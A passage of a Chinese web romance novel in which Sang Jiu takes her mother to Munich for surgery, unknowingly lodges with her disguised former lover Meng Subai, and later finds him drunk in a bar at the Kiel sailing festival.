“桑桑姐,你心情不好吗?要不要我跟何先生说一下,改个时间再约?”她轻声询问。 “不用。” 桑酒整理好情绪,抬起头看向她,露出一抹浅笑,“我没事,请他进来吧。” 她低头抿了口茶,让温热的雾气熏了一下迷离的眼眸- 周末,夏日盈盈,文箐约了是桑酒去湖心公园散心。 “桑桑,对不起啊,我真不知道Carson认识你,他一直不准我跟身边人说,我还以为是他不想公开我……” 两人扫了一辆脚踏观光车,沿着湖边小道转了一圈。 提起贺煜的事情来,文箐便来火。 那晚软磨硬泡才得知桑酒跟他兄弟谈过,他兄弟现如今还没放下,难怪常常拿着她手机看朋友圈,敢情是为了偷窥桑酒的生活! “没关系,他也没有坏心思。”桑酒笑着说。 文箐忽然想起一件事情来,觉得挺有趣:“上次我不是给你朋友圈点赞了吗,就你抱着你侄女,说喜提女儿一枚那条,他刚好在旁边打游戏,惊得直接退了游戏!去阳台打了个电话,我猜,那个电话不会就是打给……” 桑酒笑容更甚,可笑着笑着,又不禁愣住。 所以,孟苏白第一眼看到那条朋友圈,会想什么呢? 会不会猜测那是他的? 毕竟算算时间,前后也差不多。 假如……她真怀了他的孩子,他们的结局会不会不一样? 她会生下来呢? 他知道又是什么反应? 正出神时,恍惚听到文箐喊了一声“小心!” 原来前面下坡路,突然窜出一只野猫,文箐来不及刹车,桑酒又担心撞到猫,猛打了方向盘,车子直直撞向一旁的铁栅栏。 眼见文箐没有坐稳,往前飞了出去,桑酒几乎是本能反应,伸出腿拦住她。 人是拦住了,但她的腿也被几根杂乱的铁丝深深扎进肉里,热烫的鲜血从伤口流出,桑酒才意识到疼痛。 医院的急诊人来人往,文箐红着眼流着泪扶她看医生。 “伤口不大,但是很深,又是生锈的铁丝,得打破伤风针,”医生检查完后,一边开单,一边问,“打进口还是国产的?” “进口……” “有什么区别吗?”桑酒问。 “进口的很贵,国产的效果一样,建议打国产的。”医生扶了扶眼镜,严肃说。 文箐还是坚持己见:“打进口。” 本就是为了救她受的伤,再贵也要打进口。 桑酒却说:“就打国产的吧。” “不是……” 文箐话还没说完,医生已经麻利地开了单。 “交了费去拿药,现在治疗室处理一下伤口,然后去注射室打针。” 文箐看着那五十块不到的缴费清单,也是无可奈何。 直到开始打针,护士看了她的皮试结果后,皱着眉头说:“你这个得脱敏打,不然容易过敏。” “什么?”桑酒和文箐都听不懂。 “就是分五次打,打一次,观察半小时,没问题再继续打。” 桑酒:“……” 后来,两人等了足足三个小时,桑酒被扎了五针,还一针比一针痛。 最后一针,她疼得眼泪都要出来,忍不住问护士:“进口的多少钱啊?” 护士语气温柔地说:“298呀。” 桑酒当场气哭了,趴在文箐身上眼泪怎么也控制不住。 她没想过,自己会因为298块钱,在这冰冷的椅凳上坐三个小时,还要被连扎五针。 文箐也要被那个医生气死了,忍不住爆粗口。 “靠!什么鬼医生啊?谁会为了省这298受这么大罪啊!投诉!必须投诉!” 她气势汹汹要去闹,桑酒一把拉住她手臂,脑袋低垂着摇了摇头,声音哽咽:“……别去。” 水坝一旦决堤,便会有滔滔不绝的山洪挟着泥泞,倾泻而下。 桑酒捂着脸靠在文箐手臂,平静的心情再也支撑不住,像是要借着这一点委屈和疼痛,发泄心中沉疴许久的情绪,这种放纵太可怕了,可怕到她紧绷的情绪一下来,就控制不住整个人发抖。 身体的疼痛仿佛也在提醒她,孟苏白曾经遭受过比这千倍百倍的痛楚,她的心被一种名为悔恨的情绪生生撕裂开 ,浑身的血液都冰冷似的僵硬住,呼吸也急促到断断续续,吊着一口气,头脑一片空白。 她好像一直都在做错误的决定。 为了省麻烦,却带来更多的麻烦,就像为了保他一生安全,却无形中将他一次又一次推进更危险的火堆,她就是没有感情的刽子手,每一刀都精准落在所爱之人身上。 她甚至不敢想象,如果孟苏白也在那场比赛中丧命。 如果多年以后她才知道。 甚至是永远不知道。 她将万死难辞其咎。 桑酒哭得歇斯底里,像个做错事情的孩子,造成如今这种局面已无法挽回,只是这一刻,她很想他,想见他,想忏悔,却早已没有资格了。 贺煜说的没错,她跟那些踩着他身躯,榨干他血肉的人一样冷血。 所以,她不能在他深陷危险时狠心推开他,又在他风光无限时去招惹他。 贺煜收到文箐电话后,急匆匆赶来,看到这一幕,也是心情复杂,还以为她出了什么大事,退到一旁,匆忙给某人拨了视频过去,也不管那边是否在忙,狂飙粤语。 “三百块就哭成这样?不应该啊,你说是不是撞到脑子了?我要不要带她去私立医院检查一下啊?但她上次态度太冷漠了,警告我不许出现在她面前!大哥,你说我该怎么办?” 彼时,远在德国慕尼黑一栋别墅里,正开着视频会议的孟苏白,抬手暂停了会议,盯着手机里哭得喘不过气来的人,心中一阵刺痛。 他天不怕地不怕的Princess,又怎么会因为打针或者三百块钱哭呢? “Kings?” 孟苏白轻声嗯了一下,表示在听,又在思考了许久后问:“你上次说,她打算带她妈妈去做手术?” “对啊,我听阿箐说的,你不知道,为了打探小玫瑰消息,我都快活成间谍了!” 孟苏白轻轻叹气:“Carson,安排一下,接她们来德国吧。” 贺煜微惊:“不是说等你回国,再让团队给她妈妈治疗吗?” “可她哭了,”孟苏白声音沉郁,“身边也没有别人了。” “但你的身体……” “已经无碍了,再复健半个月,就能完全恢复正常行走了。” 贺煜还要再说什么,那边传来文箐的声音:“Carson?” 因为两人都受了惊吓,在桑酒打针时,文箐才忍不住给男朋友打了电话。 而哭了许久的桑酒回过神,也缓缓回头看过来。 慌乱中,贺煜果断挂了视频。 桑酒那张惨白娇小的脸只在手机里晃了一秒,孟苏白便眼中一热,心绪如丝丝络络,各种酸涩复杂缠在一起。 他翻看着手机里,贺煜发给她的日常,每一张都令人心疼。 这次无论如何,他都要把她绑在身边。 只有亲自看着,他才能安心—— 作者有话说:要见面了![狗头叼玫瑰] 第76章 桑酒带着母亲来到了德国接受治疗。 说起来也是巧合, 她在海城跟北市的医院犹豫不决时,收到桑冀的电话,询问家里人安好。 也许是出于他兄长的身份, 又或者觉得他见多识广, 桑酒把自己的困惑说给桑冀听, 问他哪家医院好。 海城固然近, 方便后续康复, 但母亲的病情太过特殊,这边医生也没有十足的把握手术能成功,北市那边骨科更专业, 但是她们人生地不熟, 可能各方面都会比较麻烦她想母亲少遭罪,能一次性摆脱病痛折磨。 桑冀沉默了两秒, 说:“你要不要考虑带婶子来德国治疗, 我们正好需要这种特殊案例,尤其是陈旧性骨折患者。” 原来他们公司最新研发的个性化3D打印假体植骨术,正在跟德国顶尖的骨科医学中心,慕尼黑大学医院合作, 能矫正畸形, 重建骨骼支撑,而且是机器人辅助手术,手术成功率高达100%, 治疗周期短, 恢复快, 能少受很多罪。 “正好,这个项目是我在负责跟进,可以给婶子申请绿色通道, 一切费用都由我们公司承担,包括手术和后期恢复治疗,而且全程还有专业团队指导。” 去德国,桑酒考虑了三天。 在这个充满悲伤的城市,她一天天如行尸走肉般过着看似正常的生活,因为周围都是熟悉的人,她不能表达出一丝懦弱忧伤,可这种伪装已经压得她喘不过气来,她想逃离这儿,逃到一个没有人认识的地方。 但也不是完全没有私心的,她想看一眼孟苏白,哪怕不能光明正大看,就远远看一眼也好。 只是她也不确定孟苏白在哪儿,贺煜只说他在国外治病,可未必是在德国。 可万一呢。 从下定决心到签证下来,只花了十天时间。 落地慕尼黑的第二天,母亲就被安排了住院,准备术前检查,因为全程都有人安排陪同,桑酒要做的只是在每日探病时间去陪一陪母亲。 桑冀他们住的地方是一座庄园式别墅,离市中心开车十五分钟左右的距离,说是一位朋友低价租给他们的,别墅前有一片几百平的草地,和一个玻璃花房,看起来简直像广袤的公园,出入都需要开车,否则找不着南北那种。 “别墅主人住在隔壁栋,他脾气比较古怪,不喜生人靠近,因为双腿行动不便,所以每天都待在房间里,我们一般是碰不上面,你也不要去打扰就行,其余别墅内所有地方,包括门前这片私家草地、花房和泳池,你都可以自由出入。” “腿……怎么了?” 桑可儿的话总让人觉得奇怪,但一时说不上来哪里奇怪。 来之前,桑酒做过攻略,知道这个城市租房挺紧张的,房价也昂贵,这么一大栋别墅,即便他们两人工资可观,应该也难以承担。 桑冀说:“他也是我们这个项目中的一个特殊案例,已经在恢复中了,也正因为如此,他知道婶子的病情,才同意你住进来的,对了,S先生也是中国人,只是长期住在国外,所以你的一日三餐也无需担心,他们会一起做好给你送过来。” 桑酒信以为真:“包吃包住,那这位房东,人还挺好的。” 桑冀与桑可儿对视了一眼,神色有些无奈。 “我能上去跟他说声谢谢吗?” “不行!”两人同时出声。 桑酒惊了一下:“……为什么?” 桑可儿反应快:“他……现在还不能走路,所以很讨厌被别人看到,你可以等他能下来走路了,再跟他道谢的。” 桑酒觉得有几分道理,没有谁愿意把软弱的一面给陌生人看。 “那我能加他联系方式,说一声谢谢吗?”总觉得这样住进来,不说一声谢谢,有失礼貌。 “行,我晚点问下他。”桑冀说。 当天晚上,桑酒就收到了对方的好友请求: 别墅主人,S。 简短的一句话,桑酒点了同意,并且第一时间表达了感谢,对方也只是简短回了两个字。 「客气」 不咸不淡的回复,让桑酒不知该如何继续下文,遂回了个微笑表情包过去- 原本以为一切尘埃落定,然而她住下没两天,桑冀就收到公司安排要出差一趟,桑可儿也说早跟朋友约了家庭游,得带上乐宝一起。 “婶子手术那天,我们肯定会赶回来的,你就放心住下。” 担心她在这里语言不通,桑冀甚至还给她请了一名翻译,“这是苏菲,我在公司的实习小助理,这段时间休假,正好来给你当管家。” 苏菲是一名中国留学生,比桑月还小两岁,梳着马尾,戴着一副黑色框架眼镜,长相甜美,笑时会露出两颗虎牙,很可爱,也很活泼,热情十足,关键还会德语、会开车,这让桑酒省去了很多麻烦,虽然很多时候,她其实想一个人独处。 白天桑酒在医院陪母亲,结束探病时间后,苏菲就会带她在周边转转,购物、散步,体验本地风土人情,从玛丽亚广场到圣母大教堂,从啤酒花到咖啡馆。 慕尼黑这个城市和桑酒之前去过的一些地方不太一样,它不像纽约那样摩登前卫,也不像巴黎那样浪漫风情,而是存在于古典与现代、严谨与狂野之间一个独特的平衡点,巴伐利亚建筑金碧辉煌,尽显奢华,但坐落在森林中的豪华别墅,又充满田园诗般的意境。 换一种环境,换一种心情。 桑酒也试图让时间抚平伤痛,让忙碌填满空虚,让眼前美景慰藉遗憾。 只是每每结束一天行程后,她一个人站在偌大的庭院前,总觉得有一种天下独我的遗弃感。 入夜,星空闪烁,银河万里,恍若牛郎织女遥相望。 桑酒常常一看就是大半夜。 从前在海城,她不敢与人倾诉,如今来了这陌生城市,她亦无人倾诉。 母亲在医院住了几天后,忽然想念起家乡的食物来——炒年糕。 她便跑了几个华人超市,买了一些回来,准备自己先跟网上教程学着炒一下。 因为已经很久没有下厨了,平常不是外卖就是桑月动手,更何况是这种没做过的炒年糕,光是切那个硬邦邦的年糕,就费了九牛二虎之力,还不小心被刀划到了手指,一道口子鲜血流出,桑酒下意识放在嘴里吮着,但口子太深,一时止不住,她想找创可贴,却不知急救箱放在哪。 打电话给桑可儿时,那边也是含糊了两句,说才搬进来没多久,实在不清楚放在哪儿,最后说:“你要不要找房东问问?” 桑酒没辙,硬着头皮,大半夜给人发消息过去。 仅过了几秒时间,对面就发了信息过来:「严重吗?」 不知为何,简简单单的三个字,却透着一丝不易察觉的紧张感来。 当然,兴许是自己多想了,桑酒摇了摇头:「不严重,皮外伤,只是我还想做一点宵夜,所以……」 「过来」 对话框弹出的两个字,冷不丁又让她警惕起来。 怎么说也是大半夜了,孤男寡女不太好。 更何况,他们素未谋面,不知人不知面,更不知心。 犹豫了好一会儿,对方仿佛了然她的顾虑,又发来一长串信息。 「抱歉,管家已休息,我行动不便,只能麻烦您自己过来一趟,药箱放在楼梯口。」 桑酒思量片刻,捂着还沁着血珠的手指,还是出了门,往隔壁楼栋走去。 能让桑冀如此信任的朋友,应该不会是什么坏人,更何况,他一个双腿不便的人,她怕什么? 门未上锁,她推开门,探头而入。 “先生?” 房间内灯光亮堂,陈设与她住的那一栋别无二致,充满欧式韵味,只是四处空荡荡的,安静如斯。 桑酒蹑手蹑脚,上了旋转楼梯,楼梯尽头放着一个药箱,药箱上贴心备好碘伏、创可贴和绷带。 与此同时,手机又进来一条消息。 「先用碘伏冲洗消毒,有其他需要的,你再跟我说」 桑酒下意识抬头望过去。 客厅很大,落地玻璃前,晚风吹起白色窗帘,一棵半人高松树后,隐隐约约可见一道身影,看背影轮廓,似乎坐在轮椅上。 “谢谢。”她下意识直接开口,亲自跟他道谢。 那道身影似乎一顿,随即男人轻咳一声,像是回应她的感谢。 树影朦胧,桑酒看得不太真切,只是觉得男人每日就这样孤零零坐在这儿,看着窗外广袤无垠的风景,身边连个朋友都没有,大底内心也是悲伤的吧。 人一旦把自己内心封锁起来,任何美丽的风景都入不了眼。 桑酒踌躇片刻,直接在楼梯口背对着他坐下,自顾清理起伤口来。 “那个……您喜欢吃炒年糕吗?”她试探性一问。 「喜欢」 “那您能吃辣吗?” 「能」 桑酒正小心翼翼贴着创可贴,瞥了一眼,心里纳闷,说好的脾性古怪呢?这看起来挺好说话的嘛,而且既然能吃辣,那他口味估计跟她们一样,只要他觉得好吃,妈妈肯定也会觉得好吃! 正所谓滴水之恩,当涌泉相报,人家把这么大一房子借给她住,请人吃一顿宵夜,是应该的。 “那您等我半小时。” 桑酒顿时来了动力,收拾好药箱放到一旁,挥了挥手,下了楼。 她跑得很快,没有看见松树后,骤然起身的高大身影,踱步到楼梯口,在她刚才坐过的位置坐下,唇角微微扬起。 半小时后,桑酒终于端着一碗热气腾腾的年糕折回。 她对自己的厨艺没什么信心,这次没把厨房点燃,已算成功了一半。 踏过楼梯时,桑酒发现她刚坐的地方,垫了一个圆形垫子。 药箱已经被收走,男人仍然坐在原来的位置,背对着她。 桑酒眼观鼻鼻观心,将年糕放在茶几上,转身去了楼梯口,在垫子上坐下。 「您放心吃吧,我不会回头的,等您吃完,我再收走。」 两人像是达成了某种默契,互不打扰。 孟苏白推着轮椅从树后移出,挪向茶几旁。 他盯着那隔着十步远、蜷缩成一团的背影,垂着眸深呼吸了好一会儿,才克制下来要过去拥抱她的冲动。 呼吸微颤,孟苏白低头看向那碗炒年糕,拾起筷子。 其实他并不饿,眼前食物的卖相也看不出炒的是什么,黏成一团烧得糊焦,倒是加了不少配菜,也加了不少辣椒,他被呛到眼睛发红也不敢出声。 「味道如何?」桑酒有些期待地问。 「很好」 桑酒挑眉,有些不太自信,虽然她自己尝起来是自带滤镜。 男人又发来消息。 「怎么突然想起自己做宵夜了?」 「家里有厨师,想吃什么可以跟他们说。」 桑酒如实说:「我妈想吃,难得给她做一次饭,所以想亲自动手。」 「如此说来,是我的荣幸」 桑酒有些心虚:「其实……我很少下厨,怕做得入不了口。」 从前桑月刚出来跟她合租时,她还会一日三餐有肉有汤伺候着妹妹,直到有一天,桑月实在受不了了。 “老姐,你饶了我吧,我自己来煮也是可以的!” 那时候桑酒才知道,自己厨艺有多糟糕,用妹妹的话吐槽——要卖相有盐味,要香味有盐味,配菜比正菜多,味同嚼蜡,嚼之无味,弃之可惜。 为此,她再也没有下过厨。 今天也是对着网上教程看了许久,翻车了两三次,才算有模有样。 「拿我当小白鼠?」 桑酒心虚更甚:「不是……」 「很好吃」 「就是给病人吃的话,可以少一点辣椒」 桑酒欲言又止。 她就放了几颗小米辣,已经很少很少了…… 再少,妈妈会觉得没味。 男人吃得很慢,她等得都快要打盹了,身后才传来轮椅转动的声响。 「谢谢桑小姐的宵夜」 看到这条消息,桑酒也算颇有成就,收拾碗筷时心情都是愉悦的,隐约闻到什么味道,她猛然抬眸。 屏息一嗅,那似有若无的味道又消散了,好似刚才一刹那都是错觉。 再抬眸,阳台边早已没了男人身影。 她也不知道,这晚,男人被辣得彻夜未睡,狂灌水后站在阳台上,欣赏了一宿窗外夜景- 白天闲暇时,桑酒会去玻璃花房修理一下花枝,这是桑可儿临走前拜托她的,说别墅主人唯一的要求,就是照顾好那些花花草草,这倒是她擅长又喜欢的。 下午她也会和苏菲外出,为了尽快适应这边的生活氛围,桑酒还跟她学了一些德语,学到那句“宝贝”时,顿觉熟悉。 从前,最亲密无间时,孟苏白会在她耳边一次次低语—— 宝贝。 BB。 Schazi…… 正漫不经心喝着啤酒时,苏菲忽然接到一个电话。 “呀,桑桑姐,我要回公司一趟拿份资料,我先送你回去吧。” 小姑娘火急火燎的,一边收拾东西,一边给她安排。 桑酒看了她半晌,睫毛跳动了几下。 “要不……我跟你一起去?” “啊?你……确定吗?会不会太麻烦你了?”苏菲仿佛被吓了一跳。 桑酒摇头:“不麻烦,反正时间还早,我回去一个人待着也无聊。” 她想过旁敲侧击一下孟苏白的消息,却始终无从下手。 桑冀出差还没有回来,她又不敢找阿箐问贺煜。 上次骑车受伤,两人在医院见面,虽然默契地没有说话,可桑酒感觉得出,贺煜对自己意见挺大,一路都沉默不语,也没给个好脸色。 所以现在,苏菲可以说是她唯一的人脉,不然她连他公司在哪儿都不知道。 寰曜在全球很多国家都布局了研究所,欧洲总部研究所就在慕尼黑,也许是跟孟苏白曾在慕尼黑工业大学留学有关。 整个园区都是巴伐利亚建筑,美轮美奂,犹如一座城堡小镇。 “桑桑姐,你在这儿等我,还是跟我一起上去?”苏菲笑着说,“公司太大了,我怕你迷路。” “你去忙吧,不用管我,我到处逛逛也行,这里的景色,不输任何一处公园。”桑酒嘴角噙着笑,又问,“对了,你们公司可以拍照吗?” “办公室外面随便拍的。” “好。” 桑酒持着手机四处游荡,并不走心地录着像。 园区内环境幽雅,形形色色的人穿梭着,说着听不懂的德语,与她仿佛是割裂的两个世界。 镜头在一处喷泉池边停下,桑酒抬眸,才发现那竟是一座许愿池,池中央是一座青铜雕塑,碧绿的池水清澈见底,仿佛倒流的星河,池底沉着不少硬币。 她翻了翻包里,找出三枚硬币。 这两天苏菲带她去过不少地方,也遇到过许愿池,她告诉桑酒,当背对着喷泉,将硬币从左肩投入许愿池,右手从心脏划过的瞬间,就算许下了第一个愿望——“重返罗马”,即与心爱的人重逢,第二枚会遇到真爱,第三枚则是喜结连理。 桑酒熟练地闭上眼,双手紧握着硬币,心中默念着一个名字,三枚硬币依次被投入池中央,入水声叮咚清脆,她仰着头却久久不敢睁开眼。 她一生不信奉任何教,此刻却向神明许愿,想再见他一面,是不是有点贪心了? 应该就祈祷他一生平安就足够了。 桑酒正打算再投一枚时,忽听前方传来声音。 “送梁董回去休息。” 这声音……桑酒猛然掀眸望去! 真的是孟苏白! 虽然只是一个侧影,但桑酒还是一眼认出。 高大颀长的男人,依旧是西装革履,一手撑着一把黑色大伞,一手抵在车门上,微风拂过他窄腰,衣摆簌簌。 他身旁站了一个女人,怀里抱着小baby,欲言又止,最后看了他一眼,表情不太甘心地上了车。 他瘦了很多,也憔悴了不少,身影薄削挺拔。 桑酒忽觉心痛,目光全身心都落在孟苏白身上,连呼吸都忘了一般。 直到找到她的苏菲轻拍了下她肩:“桑桑姐!” 桑酒才回过神,只是眼里震惊还未散去。 苏菲顺着桑酒的目光看过去,顿时捂住嘴:“我们董事长!” 孟苏白似乎听她声音,抬眸缓缓望过来。 火光一瞬,桑酒像只被踩了尾巴的小猫咪,猛地一弓背,转身面朝许愿池,只留下一个仓皇又倔强的背影。 竟然……这么灵的么? 重逢来得这么猝不及防,桑酒甚至还没做好准备,说不清是欣喜还是害怕。 她拿不定孟苏白现在是何种心态。 任你再深的爱都会被时间消磨、淡忘,更何况他经历了那么多生死,应该早已看淡世间情爱。 想到这里,桑酒忽然控制不住落泪。 她不知道孟苏白有没有看过来,看过来又能否认出自己的背影,她今天穿着白色长款连衣裙,是苏菲带她去买的本地款式,从未尝试过的风格。 “桑桑姐,你……认识我们董事长吗?” 回去的路上,苏菲忽然问她。 桑酒目光茫然从车外收回:“算……认识吧,在电视上见过。” “那你知道刚才那个女人是谁吗?不会是董事长夫人吧?”小姑娘嘀嘀咕咕着。 桑酒心不在焉:“不是。” “你怎么知道?” “那是他大嫂。”桑酒解释,“在电视上看过。” 其实刚才下意识转身,也不仅仅是害怕孟苏白发现自己,她更害怕面对梁婉盈。 曾答应过她不再靠近孟苏白的,如今却违背承诺,来了德国,来了他的公司。 虽然她只想偷偷看一眼。 只是没想过,这一眼,就让她彻夜难眠,脑海里全是他撑着伞,俯身为梁婉盈抵着车门的画面。 梁婉盈从小就喜欢他,又是梁家千金,与他郎才女貌、门当户对,即便生下了孟彦廷的孩子,但豪门关系错综复杂,兴许为了家族利益,他们会重新结合,强强联手,也不是没有可能。 脑子里思绪乱七八糟飞起,桑酒觉得头疼,再无睡意,看了眼手机时间。 凌晨两点。 其实来到慕尼黑之后,也许是身处这乡村别墅,感受到了大自然的宁静,她的失眠症轻缓了很多,只是今日见了孟苏白,精神仿佛受到了刺激,亢奋到无法平静下来。 披了件薄外套,桑酒拉开窗帘,越过开放式阳台,和草坪,来到玻璃花房。 晚风吹动紫色风铃,她抬头仰望。 田园之上的夏夜星空,总是这样迷人,耳边是各种虫鸣鸟叫,花香扑鼻环绕,本是温馨神圣之地,她却止不住泪水涌出。 一次又一次告诫自己,能见一面,已是神明庇佑,应该开心,应该知足。 不应该用自己的悲痛去打扰别人的平稳。 人总要为自己的选择付出代价,哪怕是一路黑走到底,也要自己承受着。 可还是抵不过心头抽抽的绞痛,悲伤、难过、不舍与不甘通通涌上心头。 她想在这空无一人的地方痛痛快快哭一场,又生怕亵渎这一方静谧天地。 瘦弱的身子蜷缩在花丛中,背脊贴着冰冷的玻璃门板,桑酒将脸埋入掌心,终是忍不住崩溃大哭。 如果能变成一朵花多好,哪怕就此凋零枯萎、碾入尘土也无所谓,只要曾经绽放过、漂亮过,被他抚过。 没有遗憾,没有心碎,她愿意消散在这片芳香泥土里…… 晚风再次吹动风铃时,兜里压在腰间的手机也忽然震动了两下。 桑酒从悲痛中回过神,泪眼模糊掏出手机。 这个点,还有谁会记得她? 她一边拂去眼泪,一边解锁手机。 「桑小姐」 「什么花如此珍贵,需要你半夜来浇水?」 桑酒下意识抬眸,往别墅望去,果不其然撞向二楼男人的目光。 夜色正浓,依旧是看不清的身形,但她知道,他正在俯视着庭院一切,包括她。 也许发现了她脆弱的一面,大发善心想安慰她一番。 无论是何种原因,眼前的陌生人,说着似曾相识的温柔语气,桑酒终是没忍住,哭得更乱了。 泪如雨下的她,颤着手敲着键盘:「抱歉,打扰您了 ,只是有点睡不着,出来透透气。」 「失眠?」对方精准提取到信息,「为什么?」 桑酒正迟疑着该如何回复时,对方又追问。 「住不习惯?」 「不是,」桑酒不想他误会自己对房子有什么不满,只能解释,「就是意外重逢了一个人,有些感慨,睡不着。」 「那这个人,应该是对桑小姐很特别的人吧。」 桑酒又无法回答。 因为答案在心中,无需言说。 「既然是特别的人,你应该开心,应该珍惜,最起码还能见到他,已是万幸。」 这话看着,有几分伤感,结合对方行动不便的双腿,桑酒猜测他大概也很悲伤。 「您说得没错,我很开心,刚刚只是喜极而泣罢了」 「我也相信,您也会有这样幸运的一天。」 「当然 。」 男人回得很及时。 「如果这一天到来,我会跑着奔向她。」 原来也是个多情的可怜人。 桑酒苦涩一笑,可惜她没有这个勇气。 「我做错了许多事,伤害了他,把自己禁锢在原地,不能,也没有资格跑向他了。」 「那就出去走走,也许,能再遇见,等着他朝你走来。」 「出去走走?」桑酒不知道自己还能再去哪儿,这里已经是离他最近的地方了。 「明天是基尔航海节最后一天,你们年轻人最喜欢了,不如去看看?」 看到这条信息时,桑酒足足呆了十几秒。 航海节? 帆船比赛? 她想起去年,孟苏白提过,他赞助了一支队伍参加帆船比赛,那他也一定会去。 桑酒欣然起身,抬头朝楼上男人挥了挥手。 「谢谢!」 「谢谢您的开导,我心情好多了,晚安,您早点休息。」 「晚安。」 直到楼下纤细的身影彻底消失在漆黑原野上,孟苏白才从轮椅中起身,靠在栏杆,目光移到那依旧亮着一盏橘色灯光的玻璃花房,脑海响起不久前云叔的话。 “大少爷遗体归国那日,桑小姐去港城找过您,最后是梁董去赴的约,老爷子授意。” 他抚上手腕的佛串,眼底却是心疼与狠戾交织着。 难怪她会认出梁婉盈。 所以,是因为梁婉盈说了那些话,她才一直躲着自己的?—— 作者有话说:这章网恋,下章见面! 然后预计还有一两章就正文完结啦[害羞][害羞] 第77章 航海节即将落幕, 但港口节日氛围依旧浓郁。 随处可见的街头表演和美食集市,以及热闹的露天音乐节、娱乐嘉年华和科技展览,层出不穷。 六月的基尔湾仿佛被揉碎在金红的夕阳里, 千面帆船迎着波罗的海的风舒卷着, 白的、蓝的、橙的帆影叠着粼粼波光, 从港口一直铺向远海。 桑酒独自一人穿梭于这场北德夏日狂欢中, 心思有点散, 海风吹乱了发,她透过墨镜四处搜寻着可能遇见的身影。 最后的决赛已经结束,她也没看出个所以然, 只是觉得全程精彩振奋, 但是又分不清哪一支队伍是孟苏白的,反而冲浪一级快的苏菲早早就发来了喜讯。 “桑桑姐!我们董事长的队伍夺冠啦!” 小姑娘还附了一张照片, 作为投资人的孟苏白和一众水手的合影照, 照片里,孟苏白一身黑色衬衫,戴着一顶黑色棒球帽,面容清爽隽逸, 让人移不开目光。 桑酒记得刚刚一路走过来时, 有路过那个蓝色大舞台,她折身凭着记忆寻了回去。 “嗨,美女一个人?”一道粗犷的中年音从一旁传入耳中, 桑酒抬了下墨镜瞥了一眼, 看到一个身材高猛的黑人叽里咕噜说了一大堆英语。 桑酒听懂了他的搭讪之意, 懒得回应,摇了摇头,声音冷凛说了句:“No, hanks。” 黑人又上前,试图再说什么。 桑酒不愿与他过多纠缠,加快脚步隐入人群中,她迷失了方向,只能拿着照片询问现场工作人员,得到方向指点之后,便迫不及待奔跑过去。 如果这一天到来,我会跑着奔向他。 脑海忽然回响起S先生这句话,在拥挤的人。流中前行十分吃力,但桑酒仿佛心中有了一个坚定的方向,努力去靠近,在冷不丁触及蓝色大舞台一角时,心跳猛地加速,像是近乡情更怯一般,脚步也放缓了,目光一寸寸寻去。 张望之间,不远处的一个身影忽然闯入视线,身高颀长,气质矜贵,异常熟悉。 桑酒愣在人群之中,看着那道越发清晰的身影,眼眶倏然一热,心尖也跟着起了酸涩,胀得她呼吸难受。 孟苏白正与水手们一一握手道别,额前细碎的发半掩着眉骨,眼眸深邃带着淡淡的笑意,衬着眉宇间的温和之色更加清风朗月,他袖口挽起,扬手时露出手腕上的佛串,在午后阳光照耀下,熠熠生辉。 桑酒看得入神,隔着墨镜,更是肆无忌惮,目光紧锁着他的一举一动。 然而当孟苏白冷不丁偏头望过来时,她又迟疑了两秒,终是没有勇气与他面对面打招呼,几乎是无意识就转过身,在一个售卖航海节周边的摊位前停下,假装爱好者,挑挑选选,实则内心慌乱到无法组织言语。 耳边传来摊主热情推荐的地道英文。 她心不在焉点着头,隔了好一会儿,微微侧脸,目光远眺,发现孟苏白已经随一行人下了舞台,准备离去。 好在他们全程是步行,大概约好了要去哪儿聚餐,桑酒下意识跟了上去,隔着不远不近的距离,走了几分钟,在附近一家传统的德国酒吧前停下。 等一行人进去后,桑酒把墨镜扶正,遮住眉眼鼻梁,又将头发拢在胸前,掩盖大半张脸,才需着心低头跟了进去。 酒吧很大,她绕了一圈才看到卡座中的几人,尤其是端坐在中间背对着她,气质清冷的男人,仅仅一个后脑勺,也能一眼就认出来。 这种偷窥人的行为是挺可耻的,可桑酒根本无法克制想要靠近他的欲。望,她也想亲眼确认,确认他很好。 回想那段时日 ,孟苏白也是这样默默关注着她的一举一动,看她跟李佑泽约会、逛街,甚至是亲吻…… 他一定也很难受吧。 桑酒在不远处找了个单人座坐下,随意点了两杯酒,静静看着那边动静。 孟苏白在喝酒。 一杯又一杯的大啤酒。 桑酒还是第一次见他这样毫无节制地喝,兴许是为了庆祝今日夺冠,周边人也一个一个跟他敬酒,他几乎是来者不拒。 她不知道孟苏白的酒量如何,想来应该是不差的,而且啤酒这点度数几乎可以忽略不计,她只是担心他喝太多不舒服。 一个多小时过去后,那些人陆续离开,最后只剩下孟苏白一人,还在静静地喝着酒,一杯又一杯,期间有位漂亮的棕发碧眼的德国本地女郎上前搭讪,也被他冷淡地拒绝了。 桑酒以为云叔会过来接他,但时间过去了十几分钟,依旧不见人影。 难道是孟苏白喝醉了,忘了告诉云叔位置了? 桑酒拿出手机,犹豫着要不要给云叔电话,等再抬头时,发现孟苏白整个身子靠在沙发上,一动不动,明显醉过去了。 而之前试图搭讪他的德国女人,正在旁边位置看着,眼见这个好时机,撩了下长发,目光意味深长走过去。 女人指尖轻点男人的宽肩,低声耳语着什么。 桑酒下意识握紧拳,回头看向门口,忽然心燥不安起来。 云叔怎么还不来? 眼见那女人又伸手去扶孟苏白的手臂,看样子是要把他带走。 桑酒蓦地站了起来,脑子几乎无法再思考,飞奔了过去,因为一刻都忍不了了,她用身体拦在两人之间,打断了女人的危险行为。 “嘿!别动他!” 很久没用英文跟人沟通了 ,短短几个词,桑酒说得有些生疏,也不知是紧张导致,还是什么原因。 德国女人身材高大,比她高了大半个头,混血的五官和孟苏白一样深邃,皮肤更是雪白,一脸疑惑问她是谁。 桑酒还没开口,又听女人笑着说:“你也看上他了?” “……”桑酒有些懵,一时不知该如何解释。 女人很自豪:“我知道,这个男人帅得很完美,但亲爱的,这种事情,得排队~” Line up, please 桑酒直接被这句话震撼到了,瞥了一眼某人棱角分明的五官,就这样毫无防备暴露着,一时又好气又好笑。 也不知道他醒来知道自己被一个外国女人这样觊觎,不知道会是何种心情。 得亏自己今天跟了上来,他那些朋友也太不靠谱了,明知道他喝醉了,还把他一个人扔在酒吧,不知道酒吧很危险吗? 尤其还是在这热情奔放的国外! 她不禁在心里埋怨了几句,脸上却是一副波澜不惊的表情,仰头对面前趾高气扬的女人说道:“他是我男人。” 女人怔了一下,显然不信,双臂抱胸盯着她:“你要怎么证明?” 大有一副不弄清楚就不罢休的阵势。 桑酒没辙,只能扯了下孟苏白的袖子:“孟苏白,醒醒。” 没有反应。 德国女人挑了下眉,认定她是在撒谎,直接上前一步,打算上手抢人。 